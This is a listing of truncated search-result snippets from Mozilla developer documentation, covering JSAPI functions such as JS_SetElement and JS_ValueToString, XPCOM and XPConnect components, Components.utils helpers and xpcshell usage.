JavaScript this may be accomplished using the Object.preventExtensions method. The similar JSAPI method is JS_PreventExtensions. The failure-mode information below is new as of SpiderMonkey 36. Before then, JS_PreventExten...
JS_PushArguments
Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Convert any number of arguments to jsvals and store the resulting jsvals in an array. Syntax jsval * JS_PushArguments(JSContext *cx, void **markp, const char *format, ...); jsval * JS_PushArgumentsVA(JSContext *cx, void **markp, const char *format, va_list ap); Name Type Description cx JSContext * The context in which to perform any necessary conversions. cx also affects the interpretation of format, if JS_AddArgumentFormatter has been called. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. ...
JS_SameValue
This article covers features introduced in SpiderMonkey 1.8.1 Determines if two jsvals are the same, as determined by the SameValue algorithm in ECMAScript 262, 5th edition. SameValue slightly differs from strict equality (===) in that +0 and -0 are not the same and in that NaN is the same as NaN. ...
JS_SealObject
Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. As of SpiderMonkey 1.8.5, JS_SealObject has been removed from the JSAPI, because ECMAScript 5 includes a "seal" concept (namely, that of Object.seal) which is quite different from that of JS_SealObject. Moreover, JS_SealObject's exact semantics are subtly incompatible with ECMAScript. JS_FreezeObject and JS_DeepFreezeObject are near-substitutes compatible with ECMAScript semantics, implementing semantics compatible with those of Object.freeze. Prevent modification of object fields. ...
JS_SetCallReturnValue2
Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Causes a native to return a Reference value (as allowed by ECMA 262-3 ?11.2.3). Syntax void JS_SetCallReturnValue2(JSContext *cx, jsval v); Name Type Description cx JSContext * The context in which the native function is running. v jsval The ID of the property of the Reference value to be returned from the native. ...
JS_SetCheckObjectAccessCallback
e to configure. acb JSCheckAccessOp The new check-object-access callback. Description JS_SetCheckObjectAccessCallback sets the runtime-wide check-object-access callback, which is used as the fallback JSClass.checkAccess method for all classes that leave the checkAccess field NULL. This callback is also used to check access to the caller property of function objects (as, for example, when the
JavaScript engine creates a stack trace) and to check access from scripts to properties with scripted getters or setters. JS_SetCheckObjectAccessCallback returns the previous check-object-access callback. MXR ID Search for JS_SetCheckObjectAccessCallback ...
JS_SetElement
ue to assign to the element. Added in SpiderMonkey 31 vp JS::MutableHandleValue In/out parameter. *vp is the value to assign to the element. JS_SetElement ordinarily leaves *vp unchanged, but a JSClass.addProperty hook or non-default setter may modify it. Obsolete since JSAPI 29 Description JS_SetElement assigns a value to a numeric property of an object. It behaves like the
JavaScript expression obj[index] = v. On success, JS_SetElement returns true. On error or exception, JS_SetElement returns false. Obsolete since JSAPI 29 On success, JS_SetElement returns true and the value left in *vp is left unchanged unless an addProperty hook or setter modified it. On error or exception, JS_SetElement returns false and the value left in *vp is unspecified. See Also MXR ID Search f...
JS_SetGCZeal
ons. 12 Verify post write barriers between paints. 13 Check internal hashtables on minor GC. 14 Perform a shrinking collection every frequency allocations. With GC zeal enabled, GC-related crashes are much easier to reproduce (they happen more reliably) and debug (they happen sooner, closer to the source of the bug). The drawback is that GC zeal can cause
JavaScript code to run extremely slowly. Regularly running your test suite with GC zeal enabled at level 2 is a good practice. This function is available only in DEBUG builds. To enable this function in an optimized build, define the macro JS_GC_ZEAL building SpiderMonkey. (In a debug build of Gecko, you can also set the current GC zeal level using the
javascript.options.gczeal preference.) See Also MXR I...
JS_SetObjectPrincipalsFinder
. Syntax JSObjectPrincipalsFinder JS_SetObjectPrincipalsFinder(JSRuntime *rt, JSObjectPrincipalsFinder fop); Name Type Description rt JSRuntime * The runtime to configure. fop JSObjectPrincipalsFinder The new object-principals-finder callback. Description JS_SetObjectPrincipalsFinder allows the application to set a callback that the
JavaScript engine uses to obtain an object's principals. This callback is described in JSObjectPrincipalsFinder. JS_SetObjectPrincipalsFinder returns the previous object-principals-finder callback. MXR ID Search for JS_SetObjectPrincipalsFinder ...
JS_SetParent
Object, and that is the preferred approach. But an application may instead use JS_SetParent after the object is created. Applications can get an object's parent using JS_GetParent. Scripts can determine an object's parent by using the __parent__ property, but scripts cannot assign to the __parent__ property. In fact, once an object is exposed to a script, the object's parent must not change. The
JavaScript engine relies on this invariant. JS_SetParent has no way to check that this is the case, but nonetheless, applications must not call JS_SetParent on an object that has already been exposed to a script. If an application does this, the behavior is undefined. On success, JS_SetParent returns JS_TRUE. Otherwise, it reports an error or sets an exception and returns JS_FALSE. See Also MXR ID Sear...
JS_SetPrincipalsTranscoder
JS_SetRuntimeSecurityCallbacks instead. Syntax JSPrincipalsTranscoder JS_SetPrincipalsTranscoder(JSRuntime *rt, JSPrincipalsTranscoder px); Name Type Description rt JSRuntime * The runtime to configure. px JSPrincipalsTranscoder The new principals transcoder. Description JS_SetPrincipalsTranscoder sets a runtime-wide callback which the
JavaScript engine uses to serialize and deserialize principals. This callback is described at JSPrincipalsTranscoder. JS_SetPrincipalsTranscoder returns the previous principals transcoder. MXR ID Search for JS_SetPrincipalsTranscoder ...
JS_SetPrivate
cially useful for storing C/C++ data that should not be directly visible to scripts. For example, a Socket class might use the private data field to store the socket handle. JS_SetPrivate sets an object's private data field. obj must be an instance of a class that has the JSCLASS_HAS_PRIVATE flag. Only the pointer is stored. Memory management of this field is the application's responsibility. The
JavaScript engine never uses it. In particular: If you allocate memory for private data, you must free it, typically in a JSClass.finalize callback. If your class's private data contains any jsvals or other references to
JavaScript objects, implement the JSClass.mark callback to ensure they are not prematurely reclaimed by the garbage collector. Use JS_GetInstancePrivate to safely extract the private da...
JS_SetVersion
Obsolete since JSAPI 25This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Configure a JSContext to use a specific version of the
JavaScript language. Syntax JSVersion JS_SetVersion(JSContext *cx, JSVersion version); Name Type Description cx JSContext * Pointer to a JS context from which to derive runtime information. version JSVersion Version of
JavaScript to set context to. Description JS_SetVersion attempts to set the version of
JavaScript to version for a specified executable script context, cx. The version comes from the JSVersion enumerated type. JS_SetVersion returns the JS version in effect for the context before you chang...
JS_ThrowStopIteration
rMonkey js1.8 Throw a StopIteration exception. Syntax bool JS_ThrowStopIteration(JSContext *cx); Name Type Description cx JSContext * The context in which to throw the StopIteration object. Description JS_ThrowStopIteration throws the appropriate StopIteration object for the function currently executing in cx. In for...in and for each...in loops, the
JavaScript engine can create an iterator object and call its .next method repeatedly, as described in New in
JavaScript 1.7: Iterators. The .next method may throw StopIteration when there are no more values left to iterate. The engine automatically catches the exception and exits the loop. JSClass.enumerate offers a simpler way to customize object iteration. See Also MXR ID Search for JS_ThrowStopItera...
JS_ValueToBoolean
Obsolete since JSAPI 28This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Replaced by JS::ToBoolean Convert any
JavaScript value to a boolean value. Syntax JSBool JS_ValueToBoolean(JSContext *cx, jsval v, JSBool *bp); Name Type Description cx JSContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. v jsval The value to convert. bp JSBool * Out parameter. On success, *bp receives the converted boolean value. Description JS_ValueToBoolean converts a specified
JavaScript value, v, to a boolean value. It implements the ToBoo...
JS_ValueToInt32
Syntax JSBool JS_ValueToInt32(JSContext *cx, jsval v, int32 *ip); Name Type Description cx JSContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. v jsval The value to convert. ip int32 * Out parameter. ...
JS_ValueToNumber
Obsolete since JSAPI 24This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Replaced by JS::ToNumber. Convert any
JavaScript value to a floating-point number of type jsdouble. Syntax JSBool JS_ValueToNumber(JSContext *cx, jsval v, jsdouble *dp); Name Type Description cx JSContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. v jsval The value to convert. dp jsdouble * Out parameter. On success, *dp receives the converted floating-point value. Description JS_ValueToNumber converts a
JavaScript value to a number. It impleme...
JS_ValueToString
jsval to a JSString. Syntax JSString * JS_ValueToString(JSContext *cx, jsval v); Name Type Description cx JSContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. v jsval The value to convert. Description JS_ValueToString converts a specified
JavaScript value, v, to a string. It implements the ToString operator specified in ECMA 262-3 ?9.8. The result is like the
JavaScript expression ""+v. If v is already a string, conversion succeeds. If v is true, false, null, or undefined, conversion succeeds, and the result is the string "true", "false", "null", or "undefined", accordingly. If v is a number, conversion succeeds, and the result is a str...
OBJECT_TO_JSVAL
te. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Casts a specified JS object to a JS value. Please use JS::ObjectValue/JS::ObjectOrNullValue instead in SpiderMonkey 45 or later. Syntax jsval OBJECT_TO_JSVAL(JSObject *obj); Name Type Description obj JSObject * A pointer to a
JavaScript object to convert to a jsval. Description OBJECT_TO_JSVAL casts obj from type JSObject * to jsval. If obj is NULL, the result is JSVAL_NULL. See Also MXR ID Search for OBJECT_TO_JSVAL JS_ValueToObject JS::ObjectValue JS::ObjectOrNullValue bug 1177892 -- removed ...
PRIVATE_TO_JSVAL
RIVATE(jsval v); // Obsoleted since JSAPI 32 Description With PRIVATE_TO_JSVAL(), an application can store a private data pointer, p, as a jsval. This can be useful with reserved slots. The private data pointer can point to application-defined memory of any type, but the pointer must be two-byte-aligned (that is, (int) p must be even). Private data is managed entirely by the application. The
JavaScript engine itself never uses a private data pointer. Private data is not garbage collected. It is the application's responsibility to determine when it is safe to dereference a private data pointer. See Also MXR ID Search for PRIVATE_TO_JSVAL JS::PrivateValue bug 952650 bug 1177892 -- removed ...
Stored value
The stored value is updated each time the program gets or sets the property. The new stored value is the result of getting or setting the property, after the getter or setter, if any, is called. JS_DefineProperty allows the application to specify a property's initial stored value. ...
jschar
Obsolete since JSAPI 35This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. jschar is the type of
JavaScript "characters", the 16-bit elements that make up strings. jschar, a typedef for the standard C++ type char16_t, will be removed in JSAPI 38. Functions that use jschar will use char16_t directly. Embedder code should use char16_t, too. (See bug 1063962.) As required by the ECMAScript standard, ECMA 262-3 ?4.3.16",
JavaScript strings are arbitrary sequences of 16-bit values. A string may contain unmatched surrogates, which are not valid UTF-16. It may also contain zeroes ('\0'). To get the characters of a
JavaScript string, use JS_GetStringChars. See Also bug 1063962 ...
jsdouble
ko 13 jsdouble has been removed, and instead it is possible to use the default C/C++ type double. You should be able to just replace every usage of jsdouble with double in your code. jsdouble is a C floating-point number type. It is defined to be a 64-bit, IEEE 754 compliant type. See ECMA 262-3 ?8.5. Arithmetic on jsdouble values in C should behave exactly like the floating-point arithmetic in
JavaScript, except that C and
JavaScript may treat not-a-number values differently. Implementation note: SpiderMonkey has had several bugs involving details of floating-point arithmetic on various platforms. Controlling the behavior of floating-point arithmetic is very architecture- and system-specific, and can be hard to get right. Help in the form of test cases, commentary, and patches is always apprecia...
jsid
jsid is either a 31-bit signed integer, interned string or object. A few JSAPI functions use jsids instead of JS::Values for property names: JS_NextProperty, JS_Enumerate, and all functions with names ending in ById. Also, there is an additional jsid value, JSID_VOID, which does not occur in JS scripts but may be used to indicate the absence of a valid jsid. A void jsid is not a valid id and only arises as an exceptional API return value, such as in JS_NextProperty. Embeddings must not pass JSID_VOID into JSAPI entry points expecting a jsid and do not need to handle JSID_VOID in hooks receiving a jsid except when explicitly noted in the API contract. ...
JSDBGAPI
JS_ConnectShark JS_DisconnectShark JS_StartChudRemote JS_StopChudRemote The following JSNative functions can be used to expose the above four APIs to scripts. js_ConnectShark js_DisconnectShark js_StartShark js_StopShark ...
Profiling SpiderMonkey
Here's a sample mozconfig: mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/ff-opt-libxul mk_add_options MOZ_MAKE_FLAGS=-j3 ac_add_options --enable-optimize ac_add_options --enable-libxul ac_add_options --enable-shark ac_add_options --enable-debugger-info-modules ac_add_options --enable-application=browser 2.) You'll want to run Shark on both the browser and [xpcshell], since the host environments differ. ...
SavedFrame
Younger frames hold a reference to the frames that invoked them. The older tails are shared across many younger frames. SavedFrame stacks should generally be captured, allocated, and live within the compartment that is being observed or debugged. Usually this is a content compartment. Capturing SavedFrame Stacks From C++ Use JS::CaptureCurrentStack declared in jsapi.h. From JS Use saveStack, accessible via Components.utils.getJSTestingFunction(). Including and Excluding Chrome Frames Consider the following SavedFrame stack. ...
Thread Sanitizer
able-debug-symbols ac_add_options --disable-install-strip # Settings for an opt build ac_add_options --enable-optimize="-O2 -gline-tables-only" ac_add_options --disable-debug Starting the build process Now you start the build process using the regular make -f client.mk command. Starting Firefox After the build has completed, you can start Firefox from the objdir as usual. Building only the
JavaScript shell If you want to build only the
JavaScript shell instead of doing a full Firefox build, the build script below will probably help you to do so. Before using it, you must of course adjust the path name for LLVM_ROOT to match your setup. Once you have adjusted everything, execute this script in the js/src/ subdirectory and pass a directory name as the first parameter. The build will then be cr...
Zest runtimes
As Zest is written in JSON it requires a runtime in order to be evaluated. The following runtimes are available: Java https://github.com/mozilla/zest - this is the reference implementation The following runtimes are planned or an an early stage of implementation: https://github.com/mozilla/zest/tree/master/js
Javascript https://github.com/darkowlzz/zest-runner https://github.com/darkowlzz/zest-cli - this is the zest-cli of js based runner. Python No code available yet If you are interested in working on an existing or new Zest runtime then please get in touch via the Zest group. Related links Zest Overview ...
Handling Mozilla Security Bugs
urity risks in the versions they are using, and what can be done to mitigate those risks. To establish, for each bug, the amount of information a distributor can reveal immediately (before a fix is available) without putting other distributors and their customers at risk. A typical warning will mention the application or module affected, the affected versions, and a workaround (e.g., disabling
JavaScript). If the group decides to publish a warning, the module owner, a peer, or some other person they may designate will post this message to the Known Vulnerabilities page (which will be the authoritative source for this information) and will also send a copy of this message to an appropriate moderated mailing list and/or newsgroup (e.g., netscape.public.mozilla.announce and/or some other newsgroup/...
AT APIs Support
oards, magnification software and other assitive technologies can support Gecko-based software. We provide for them the support of these products on Windows, Linux/Unix and OS X platforms. Accessible Gecko Gecko is a rendering engine that Firefox, SeaMonkey, Netscape and yelp use. Gecko can render a variety of content, not just HTML and supports key web standards such as Cascading Style Sheets,
Javascript and the W3C DOM. Gecko also handles the users keystrokes and mouse clicks. Gecko is the core architecture that we are adding accessibility to, in order to support basic accessibility in all applications that are based on it. Gecko Based Applications Gecko can be used in two ways to create application: Embedded Clients Embedded clients use Gecko only in the content window, at the moment for HT...
Places
e Places keywords Querying Places How to query the bookmarks and history system with specific parameters. Retrieving part of the bookmarks tree How to fetch a section of the bookmarks tree using queries. Displaying Places information using views How to use Places views to display Places data in your own applications or extensions. Places utilities for
JavaScript A library of convenient routines that make it easier to work with Places. Places Database troubleshooting How to deal with a corrupt places.sqlite database. View All... Design documents The Places database High-level overview of the Places database design. History Service Design Design of the history service. The Places "frecency...
The Publicity Stream API
is a Mozilla-hosted Activity Stream generated by a user's application usage. The publicity stream is provided as a central place for applications to publicize application usage for the purpose of notifying a user's friends of the applications which their friends are using. It is not meant as a general application messaging system. Accessing the API The publicity API can be enabled by including a
javascript library. This library will detect whether native API support is enabled by the user's browser, if not it will shim in a pure HTML implementation. [is this still doable?] The
javascript library should be included from: https://myapps.mozillalabs.com/jsapi/publicity.js All APIs related to open web applications are accessed under the navigator.apps object. Publicity Stream API (navigator.apps.public...
STEEL
fox ("FUEL") and in SeaMonkey ("SMILE"). Objects extIApplication Objects extIApplication extIConsole extIEventItem extIEventListener extIEvents extIExtension extIExtensions extIPreference extIPreferenceBranch extISessionStorage steelIApplication Objects steelIApplication XPCOM Although the STEEL steelIApplication object is preloaded into XUL scripts, it is not preloaded into
JavaScript XPCOM code. The object needs to be accessed like any other XPCOM service: var Application = Components.classes["@mozilla.org/steel/application;1"].getService(Components.interfaces.steelIApplication); Other Resources STEEL development plan. bug 408370 bug 1278067 ...
extIApplication
on. It is possible for the restart to be canceled. boolean restart() Return value boolean value indicating whether the restart was successful. getExtensions(aCallback) Calls aCallback with the list of installed extensions. void getExtensions(extIExtensionsCallback aCallback) Return value none. XPCOM Although the Application object is preloaded into XUL scripts, it is not preloaded into
JavaScript XPCOM code. The object needs to be accessed like any other XPCOM service: var Application = Components.classes["@mozilla.org/fuel/application;1"].getService(Components.interfaces.fuelIApplication); See also FUEL (Firefox), STEEL (Thunderbird) and SMILE (SeaMonkey) ...
extIPreferenceBranch
aName The name of a preference aDefaultValue The default value of a preference. This will be passed back to you without any processing and can be something which would not be valid as a preference. For example, null/undefined/an object. Return value The value of the preference or the given default value if preference does not exists. The use of a variant as the return value means that to
JavaScript code the value will appear as a value of the same type as is used in the preferences file and no coercion will occur. A quoted string in the preference file will always appear as a string, even if the value of the string is "true" or "false". An integer preference appears as a
JavaScript Number, and a boolean appears as a
JavaScript Boolean. There are no other types supported by the preference...
Bundling multiple binary components
stub ("kRealComponent" in the sample). This approach uses one binary component for each version of Gecko and platform, plus the stub loader component Therefore, to support 2 Gecko versions on three platforms, you need seven components (6 real components + 1 stub). On the other hand, this approach is much more simple than the dynamic loading approach. The stub component can be either binary or
JavaScript, but it is far easier in
JavaScript is cross-platform and does not have compile- or load- time compatibility problems. The Gears project contains an example of a
JavaScript-based stub loader. ...
Fun With XBL and XPConnect
Introduction This article describes an application of XBL in which a simple XPCOM interface is made accessible to a XUL widget. The interface definition feature of XBL is used to define an interface through XPConnect to a C++ object that does auto completion. Once the regular XUL textfield widget is bound to this interface, it calls the auto complete function of the object using regular
JavaScript. The basic model of interaction is as follows: Binding to the XPCOM Object The widget holds onto an XPCOM object that is the auto complete engine that will perform our auto complete lookups. <binding name="autocomplete" extends="xul:box"> <content> <xul:textfield class="addressingWidget"/> <xul:menupopup/> </content> <implementation> <property name="autoCompleteSession"> <![...
Creating the Component Code
the WebLock component and the extra user interface. Web Lock User Interface Most of the actual work in the WebLock component is preparing the component itself, finding the XPCOM interfaces the component needs to use, and hooking into existing functionality within the Gecko Browser. Component Registration All XPCOM components - whether they're stored in shared libraries (DLLs, DSOs, dylibs),
JavaScript files, or otherwise - need to be registered before they can be used. Registration is a process that happens in all XPCOM applications, whether they're embedded Gecko clients, Mozilla, Netscape 7, Compuserve, or any other software that uses XPCOM. Registration provides the information that applications need in order to use components properly. The WebLock component must do a number of things to r...
Finishing the Component
ode->next; } return NS_OK; } At this point, all of the backend work is complete. You can of course improve this backend in many ways, but this example presents the basic creation of what is commonly referred to as a "browser helper object" like WebLock. The next chapter looks at how to tie this into the front end - specifically, how to use XPConnect to access and control this component from
JavaScript in the user interface. << PreviousNext >> Copyright (c) 2003 by Doug Turner and Ian Oeschger. This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, v1.02 or later. Distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. Distribution of the work or...
Setting up the Gecko SDK
\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile>\xpti.dat" "C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile>\extensions\bob@george.com\CSpecialThing.dll" Now if you start up firefox using that profile, you should have your new component installed. I used XPCOMViewer, to make sure the class and the interface were showing. Now you can use this component in your
javascript extension. A Makefile for Unix On Linux, the equivalent project settings are typically handled in a Makefile. The Makefile allows you to specify any number of options for your build environment, including the path and configuration updates you need to build with the Gecko SDK. Below is a listing for a Makefile that configures your compiler to work with the SDK. Explaining the details of the Ma...
Introduction to XPCOM for the DOM
more complicated, not worth detailing here. Important note: the nsISupports interface, implemented by all the DOM classes, CANNOT be implemented with forwarding or declaration macros. Special macros are provided to implement nsISupports This closes this tutorial about how to add a new interface. Simply make a full rebuild. I recommend building distclean. Your methods will not be available from
JavaScript, however, because nsIDOMFabian is not in the Class Info. Please see the User's guide of Class Info to learn how to add it. Interface inheritance (Advanced topic) The inheritance model in Mozilla is of course the same as the class inheritance model of C++. If you are familiar with object-oriented programming you will have no problem understanding this discussion. Raw interface inheritance The ...
Components.ID
iid A string of the format '{00000000-0000-0000-0000-000000000000}' giving the interface ID of the interface Description Components.ID creates interface IDs for use in implementing methods like QueryInterface, getInterfaces, and other methods that take interface IDs as parameters. Components.classes, Components.classesByID, Components.interfaces provide pretty much all the nsIDs that most
JavaScript code would ever need to deal with. The exception to this is the case where a component is written in
JavaScript and needs to register itself with the component manager using its own nsID - an ID that is not already registered and thus does not appear in Components.classes. ...
Components.classes
as only registered with their CID, use Components.classesByID instead of Components.classes to retrieve it. Note also that it is possible that a given add-on component with a given ContractID will be present on one machine but not have been installed on another machine. If the given element in the Components.classes object is not registered on the machine then trying to access it will generate a
JavaScript warning in strict mode and the value returned will be the
JavaScript value undefined. You should use the in operator to test for the element before trying to access it: if (!("@some/bogus/class;1" in Components.classes)) // do something... The properties of the Components.classes object can be enumerated using a for...in loop. Usage In order to retrieve the object for a given ContractID, y...
Components.interfaces
es. Introduction Components.interfaces is a read-only object whose properties implement the nsIJSIID interface. Each object represents one of the XPCOM interfaces -- that some component or another might or might not implement. It reflects only those interfaces which have been designated in their .idl description as scriptable, that is the interfaces which XPConnect is capable of reflecting into
JavaScript. Properties of the Components.interfaces object are used where XPCOM methods expect a parameter of type nsID. This includes nsISupports.QueryInterface(), the optional parameter accepted by nsIJSCID.getService(), nsIJSCID.createInstance() when called from
JavaScript, and nsIClassInfo.getInterfaces(). The properties of the Components.interfaces object can be enumerated using a for...in loop. Usa...
Components.interfacesByID
ID. Introduction Components.interfacesByID is a read-only array of objects which implement the nsIJSIID interface. Each object represents one of the XPCOM interfaces -- that some component or another might or might not implement. It reflects only those interfaces which have been designated in their .idl description as [scriptable], i.e. the interfaces which XPConnect is capable of reflecting into
JavaScript. Components.interfacesByID is exactly like Components.interfaces except that the elements are indexed by the canonical form of their IID. Usage You can retrieve an interface object using: var iface = Components.interfacesByID["{aa610f20-a889-11d3-8c81-000064657374}"]; ...
Components.isSuccessCode
SuccessCode() may be used to determine whether an XPCOM return code (an nsresult) indicates success or failure. An XPCOM return code indicates success if its high-order bit is 0, and it indicates failure if its high-order bit is 1. Note: A non-zero XPCOM return code (that is, not NS_OK) does not necessarily indicate failure. Components.isSuccessCode() is functionally equivalent to the following
JavaScript: function isSuccessCode(returnCode) { return (returnCode & 0x80000000) === 0; } Since failure error codes are turned into exceptions when encountered in
JavaScript, this function usually is not necessary. However, if you are using asynchronous APIs, it may be essential. For example, if you ask a component or service to asynchronously perform some task, you must usually pass in an object whic...
Components.lastResult
Components.lastResult returns the numeric nsresult code that was the result code of the last XPCOM method called via XPConnect. Introduction Generally, Components.lastResult is only useful for testing the result of XPCOM methods that can return interesting 'success' codes. This is because failure result codes get converted by XPConnect into exceptions that are thrown into the calling
JavaScript method. Most interfaces only return one success code -- NS_OK -- so Components.lastResult is rarely necessary. In cases where Components.lastResult is used, it is best to get it right away after the target call is made and save it in a local variable to test its value rather than doing multiple tests against Components.lastResult. This is because many 'Components' properties and methods are themselves imp...
Components.results
g result code. Elements in this array can be used to test against unknown nsresult variables or they can be 'thrown' to indicate failure... if(something_unexpected_happened) throw Components.results.NS_ERROR_UNEXPECTED; The elements of the Components.results object can be enumerated using a for-in loop. Usage Implementing nsISupports The standard nsISupports is usually implemented in
JavaScript by using Components.results to get a failure return value if does not implement the given interface. Note the common use of an abbreviation for Components.results, Cr: const Ci = Components.interfaces, Cr = Components.results; function Class() { /* ... */ } Class.prototype = { /* ... */ QueryInterface: function(id) { if (id.equals(Ci.IMyInterface)) return this; throw Cr.NS...
Components.stack
Components.stack is a read only property of type nsIStackFrame (IDL definition) that represents a snapshot of the current
JavaScript callstack. This can be used for various diagnostic purposes. See usage examples in the Mozilla source tree. ...
Components.utils.createObjectIn
This function is made available as a global in sandboxes which have the wantExportHelpers option set in the Sandbox() constructor. Note that this function is now mostly obsolete when you are using Sandbox, because you can create an object in a different compartment using new. For example, to create a new object in the compartment identified by contentWindow: var newObject = new contentWindow.Object(); But it is really needeed from Firefox 30 onwards when trying to manipulate the DOM window. See details in https://blog.mozilla.org/addons/2014/04/10/changes-to-unsafewindow-for-the-add-on-sdk/. ...
Components.utils.evalInWindow
The result is structured cloned back to the original context, unless it is native (for example, if it returns a DOM node, this is not structured cloned, because the original context will see that through an XrayWrapper already), so it's guaranteed to behave predictably. This is useful for privileged code, such as add-on code, to access variables and APIs defined in web content. ...
Components.utils.exportFunction
name); // "Bill" }, false); Note that this is subject to the normal rules of Xrays: for example, an expando property added to a DOM node will not be visible in the original object. Xray filtering and waiving Xrays provide a filtered view of the original object. For the full details refer to the documentation for Xray vision, but for example: functions are not visible in the Xrays of
JavaScript Object types. If you need unfiltered access to the original, you can waive Xrays: // privileged scope: for example, a content script function logUser(user) { // console.log(user.getUser()); // error console.log(user.wrappedJSObject.getUser()); // "Bill" } exportFunction(logUser, contentWindow, { defineAs: "logUser" }); // less-privileged scope: for example, a page scrip...
Components.utils.isXrayWrapper
For example, privileged code using an Xray to a DOM object sees only the original, native version of the DOM object. Any expando properties are not visible, and if any native properties have been redefined, this has no effect. Use this function to determine whether a given object is an Xray or not. Syntax boolean Components.utils.isXrayWrapper(obj); Parameters obj The object to check. Returns true if the object is an Xray: false otherwise. ...
Components.utils.waiveXrays
For example, privileged code using an Xray to a DOM object sees only the original, native version of the DOM object. Any expando properties are not visible, and if any native properties have been redefined, this has no effect. Xray vision is designed to make most simple operations safe. ...
Other Resources
Other Resources Embedding Mozilla XPConnect -
Javascript-XPCOM bridge BlackConnect - Java-XPCOM bridge (no longer supported) XPIDL to Java types - from Blackconnect ...
JavaXPCOM
JavaXPCOM allows for communication between Java and XPCOM, such that a Java application can access XPCOM objects, and XPCOM can access any Java class that implements an XPCOM interface. JavaXPCOM is not actively maintained. With JavaXPCOM, a developer can talk to XPCOM or embed Gecko from a Java application. JavaXPCOM is very similar to XPConnect (
JavaScript-XPCOM bridge), and uses XPIDL. Note: JavaXPCOM was included in XULRunner up through version 1.9.2. It has been removed in XULRunner 2, and is not actively maintained. Documentation JavaXPCOM Development How to get and build the source, as well as how to view and report bugs. Sample code There are several Java test applications checked in to the tree that give examples o...
Architecture basics
XPCOM is like COM, for Windows. It lets you get pointers to components inside Mozilla, and it lets you talk about their interfaces as well. XPConnect is what lets
JavaScript talk with Mozilla guts, the XPCOM system. You can imagine it like a bridge between
JavaScript code, and Mozilla guts. xpcshell is a command line interface to Mozilla
JavaScript. It's an interactive interpreter -- it gives you a shell that talks straight to Mozilla, via
JavaScript's XPConnect bridge into it. ...
Using components
works transparently in Mozilla and xpcshell to give you access to XPCOM components. Commonly, we start our scripts like so: var Cc = Components.classes; var Ci = Components.interfaces; If we want to get a hold of a component, we then do something like: var rc = Cc["@mozilla.org/registry;1"]; var rs = rc.getService(Ci.nsIRegistry); See also: xpcshell -- how to get a command line interface to
JavaScript More Info As was already stated, it is common to start addon scripts like: var Cc = Components.classes; var Ci = Components.interfaces; There is also another way to start, which is exactly equivalent to the above. var {Cc: classes, Ci: interfaces} = Components; There are many more than just classes and interfaces. var { Cu: utils, Ci: interfaces, Cc: classes, Cr: results, C...
HOWTO
r script is finished, i.e. both success and error callbacks, put: gScriptDone = true; If you forget some condition where your script should exit but you don't add this statement, your script will hang (busy wait). This is of course a massive, ugly hack prone to error, but this is what the xpcshell test harness does. There should really be a better solution in xpcshell. Using JS modules and non-UI
JavaScript chrome files Problem You want to write a
JavaScript file, and run it in xpcshell. The file uses JS modules. Maybe it even uses
JavaScript files from chrome:// URLs. E.g., you use: Components.utils.import("resource://app/modules/gloda/log4moz.js"); However, you get (for that particular line, which is the first import): uncaught exception: [Exception... "Component returned failure code: 0x80040111...
Profiling XPCShell
You could use Venkman for that. But sometimes, Venkman gives too much noise (because it also profiles chrome code). Or you might want to have a more reproducible testcase. In those cases, an xpcshell script can help. You can just call the code you want to test. But then, you can't use the Venkman UI. XPCTools There is profiler in the tree that can profile xpcshell scripts. ...
jsdIStackFrame
Current line number (using the script's pc to line map.) Read only. pc unsigned long Current program counter in this stack frame. Read only. scope jsdIValue Top object in the scope chain. Read only. script jsdIScript Script running in this stack frame, null for native frames. Read only. thisValue jsdIValue |this| object for this stack frame. Read only. Methods eval() Evaluate arbitrary
JavaScript in this stack frame. boolean eval( in AString bytes, in AUTF8String fileName, in unsigned long line, out jsdIValue result ); Parameters bytes Script to be evaluated. fileName Filename to compile this script under. This is the filename you'll see in error messages, and so on. line result Return value ...
mozIAsyncFavicons
asynchronously. 1.0 66 Introduced Gecko 6.0 Inherits from: nsISupports Last changed in Gecko 11.0 (Firefox 11.0 / Thunderbird 11.0 / SeaMonkey 2.8) nsIFaviconService handles this interface, so you do not need to directly create a new service. Simply QueryInterface() the nsIFaviconService to this interface. As an alternative, you can just use PlacesUtils.favicons from
JavaScript. Method overview void getFaviconURLForPage(in nsIURI aPageURI, in nsIFaviconDataCallback aCallback); void getFaviconDataForPage(in nsIURI aPageURI, in nsIFaviconDataCallback aCallback); void setAndFetchFaviconForPage(in nsIURI aPageURI, in nsIURI aFaviconURI, in boolean aForceReload, in unsigned long aFaviconLoadType, [optional] in nsIFaviconDataCal...
mozIPlacesAutoComplete
daries in each searchable term. MATCH_BEGINNING 3 Match only the beginning of each search term. BEHAVIOR_HISTORY 1 << 0 Search through history. BEHAVIOR_BOOKMARK 1 << 1 Search though bookmarks. BEHAVIOR_TAG 1 << 2 Search through tags. BEHAVIOR_TITLE 1 << 3 Search the title of pages. BEHAVIOR_URL 1 << 4 Search the URL of pages. BEHAVIOR_TYPED 1 << 5 Search for typed pages. BEHAVIOR_
JAVASCRIPT 1 << 6 Search
